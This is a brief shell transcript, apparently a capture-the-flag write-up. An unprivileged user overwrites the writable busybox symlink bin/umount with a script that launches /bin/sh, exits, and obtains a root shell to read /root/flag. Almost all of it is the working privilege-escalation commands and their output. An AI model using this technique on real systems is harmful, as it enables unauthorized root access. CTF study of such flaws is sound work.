/ $ id
uid=1000(suctf) gid=1000(suctf) groups=1000(suctf)
/ $ ls -l bin/umount
lrwxrwxrwx    1 suctf    suctf            7 Feb  1 19:59 bin/umount -> busybox
/ $ rm bin/umount
/ $ echo '#!/bin/sh' > bin/umount
/ $ echo /bin/sh >> bin/umount
/ $ chmod +x bin/umount
/ $ exit
/bin/sh: can't access tty; job control turned off
/ # id
uid=0(root) gid=0(root)
/ # cat /root/flag
...


:p

--spq